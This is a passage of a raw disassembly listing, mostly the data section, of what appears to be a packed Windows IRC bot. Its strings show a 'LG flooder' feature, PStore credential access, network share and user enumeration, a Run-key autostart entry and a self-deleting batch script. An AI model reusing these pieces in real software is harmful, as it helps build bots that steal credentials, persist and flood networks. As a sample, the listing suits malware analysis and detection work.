sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 0C6AEB58Eh, 0A6BBB6FEh, 93D8D8A7h, 0E3h, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; UPX1:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset dword_418D98 dd offset dword_418DA8 dd offset dword_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset loc_418C9C dd offset aKZdzvlUU ; "ⶇ¤§¢«ì“Γ" dd offset aKZdJssgEudaFts ; "ª²¶‡¤±¦è‘ƒÔ¥î¤Ã”☘¸" dd offset dword_418C5C dd offset aKZdJssgEudaFts ; "ª²¶‡¤±¦è‘ƒÔ¥î¤Ã”☘¸" dd offset dword_418C4C dd offset aIdbLsRLtuiGiXu ; "¸²©„¡·µ¼«™ØÖ۶Ë➉¼±£©»Öå“塀Ŝ" dd offset byte_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 9ABAABB4h, 0AEBBA7A7h, 98FFD6B6h, 0C89BB2E3h, 0ADF9B69Ch ; DATA XREF: UPX1:00418BE4o dd 0A7B8A4B0h, 0C493B0h, 0 byte_418C10 db 90h ; DATA XREF: UPX1:00418BE0o db 0A7h, 0A1h, 98h dd 0ADA6BBA4h, 93CE93ECh, 2 dup(0) aIdbLsRLtuiGiXu db '¸²©„¡·µ¼«™ØÖ۶Ë➉¼±£©»Öå“塀Ŝ',0 ; DATA XREF: UPX1:00418BDCo align 4 dd 0 dword_418C4C dd 9BBEAE98h, 0ADACB1E6h, 2 dup(0) ; DATA XREF: UPX1:00418BD8o dword_418C5C dd 87B6B28Ah, 0E6A2A781h, 0D38EA7h, 0 ; DATA XREF: UPX1:00418BD0o aKZdJssgEudaFts db 'ª²¶‡¤±¦è‘ƒÔ¥î¤Ã”☘¸',0 ; DATA XREF: UPX1:00418BCCo ; UPX1:00418BD4o align 8 aKZdzvlUU db 'ⶇ¤§¢«ì“Γ',0 ; DATA XREF: UPX1:00418BC8o align 4 dd 0 ; --------------------------------------------------------------------------- loc_418C9C: ; DATA XREF: UPX1:00418BC4o scasb stosd mov bh, 8Ch cmpsd mov ds:938CE8A7h, eax retn 0F881h ; --------------------------------------------------------------------------- db 0A5h, 82h, 86h dd 8DABABBFh, 0A4B8B5BFh, 2 dup(0) dword_418CBC dd 8DABAB9Fh, 0A4B8B5BFh, 93CE93ECh, 2 dup(0) ; DATA XREF: UPX1:00418BC0o dword_418CD0 dd 89B7ABAEh, 89F4A4A5h, 82D893A5h, 2 dup(0) ; DATA XREF: UPX1:00418BBCo dword_418CE4 dd 89B7AB8Eh, 0ADFAA4A5h, 93BAh, 0 ; DATA XREF: UPX1:00418BB8o dword_418CF4 dd 8CB7ABAEh, 0E8A7A3A7h, 9AC68E87h, 0D48CA5F8h, 2 dup(0) ; DATA XREF: UPX1:00418BB4o dword_418D0C dd 84A9BA9Ch, 0BAB1A6A7h, 93CE93ECh, 2 dup(0) ; DATA XREF: UPX1:00418BB0o dword_418D20 dd 0A1B7AB8Eh, 0A6BBB3A7h, 93CE93ECh, 2 dup(0) ; DATA XREF: UPX1:00418BA8o dword_418D34 dd 8CB7ABAEh, 0E8A7A3A7h, 99D1998Eh, 0D6A8F7F9h, 8BB0AE89h ; DATA XREF: UPX1:00418BA4o ; UPX1:00418BACo dd 0A7BDA0A9h, 0ACh, 0 dword_418D54 dd 87BEAD95h, 0B0B1FAA6h, 0A7h, 0 ; DATA XREF: UPX1:00418BA0o dword_418D64 dd 8DB0AEBAh, 9BF4A0A6h, 93C084A7h, 0D3BBF7E5h, 85B0B697h ; DATA XREF: UPX1:00418B9Co dd 0BA84F4ADh, 85D395ADh, 0E4h, 0 dword_418D88 dd 9BABB19Ah, 0ADACB1E6h, 2 dup(0) ; DATA XREF: UPX1:00418B98o dword_418D98 dd 9BB8B1B0h, 0B0B1FABBh, 0A7h, 0 ; DATA XREF: UPX1:00418B90o dword_418DA8 dd 89BAADB5h, 0AD87F4A4h, 9FC483A1h, 0E7C9AEE3h, 87B1B68Ch ; DATA XREF: UPX1:off_418B8Co ; UPX1:00418B94o dd 0B1A0BDBAh, 84D3A5E2h, 0C38ABEE1h, 2 dup(0) dword_418DD0 dd 89AAB195h, 0B0B1FABBh, 0A7h, 0 ; DATA XREF: UPX1:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 0C6B7B194h, 0B9BBABh, 0 ; DATA XREF: sub_408887+6o dword_418F6C dd 0C6AEB58Eh, 0BAA6B1BCh, 99D5D8A3h, 0D48BF9FAh, 2 dup(0) ; DATA XREF: sub_408887+14o dword_418F84 dd 0C6B7B194h, 0B1ACh, 0 ; DATA XREF: sub_408887+22o dword_418F90 dd 85ACA39Dh, 0BCB1BAE6h, 2 dup(0) ; DATA XREF: sub_408887+30o dword_418FA0 dd 8FB6AD9Eh, 0A9FAB1A4h, 0A7h, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 8DB7AB97h, 0E6BAA7A5h, 0D8DB99A1h, 0A2F6h, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 86AEAD9Dh, 0ACB5BBA4h, 9BD791ECh, 0DFC7A4F2h, 87B6AA98h ; DATA XREF: UPX1:00418FD8o dd 0A5BBB7E6h, 9BD791EDh, 0C2C6A4F2h, 84B7B596h, 0E7B0B5A7h dd 98D19FB1h, 0D6C6B3F2h, 89BAB296h, 0A9ADFBB8h, 0A9D999AAh dd 0C383B2F5h, 8DB5A78Eh, 0BC8BE6ACh, 0C79BC7AFh, 0C391B2B9h dd 2 dup(0) dword_41903C dd 8FF7B18Ch, 0BBB1B9A9h, 9FCFD8F3h, 0C5C7B0FAh, 0AF96h ; DATA XREF: UPX1:00418FD4o dd 0 dword_419054 dd 86AEAD9Dh, 0ACB5BBA4h, 0C799C5EDh, 95C6B1B8h, 0D9EDA4C8h ; DATA XREF: UPX1:00418FD0o dd 0E5E3E6FCh, 9382C6FAh, 0C0D1E3BAh, 8BE1EFC0h, 0FDF9ECF9h dd 0CFD2C7A3h, 9EDCB5A4h, 0C7BCF1CCh, 0BBB5A7A5h, 0D8D598BBh dd 8CAFF2h, 0 dword_419098 dd 86AEAD9Dh, 0ACB5BBA4h, 95DF9BECh, 0C99AB8E5h, 8BF7B69Fh ; DATA XREF: UPX1:00418FCCo dd 0B9A7h, 0 dword_4190B4 dd 89ADA39Dh, 0E7BAB1E7h, 0D9D19FA0h, 0D49BA2F4h, 0C7ADAC9Ch ; DATA XREF: UPX1:off_418FC8o dd 0AFBBBB8Fh, 99E293AEh, 0C78BBBF8h, 9BB78B8Bh, 0A4B8B5BCh dd 939884A7h, 0B2EFh, 0 dword_4190E8 dd 84B6AD8Dh, 0E6A6B5AAh, 91D999A5h, 0C5C7B2FBh, 0AF96h ; DATA XREF: UPX1:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 81B6AA8Eh, 0BAB5FABBh, 989898ABh, 0A3F2h, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 29F60h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 3351E90h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 3290h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 2C45458h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 51F0B7A1h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 26C8CE80h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 26B60h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 2C684E80h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 2C558h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 29E403A0h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 17408308h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 172A8h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 0B2ECE0h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 465F10ECh ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 11BA18h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 16A18h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 0E3E403A8h ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 546C2A8h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 4618h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 0A42278h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 2A860h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 56EC267Eh ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 137128h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 23901E20h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 15E10h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 0A2C60h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 74A60h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 159790h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 0D5919B11h ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; 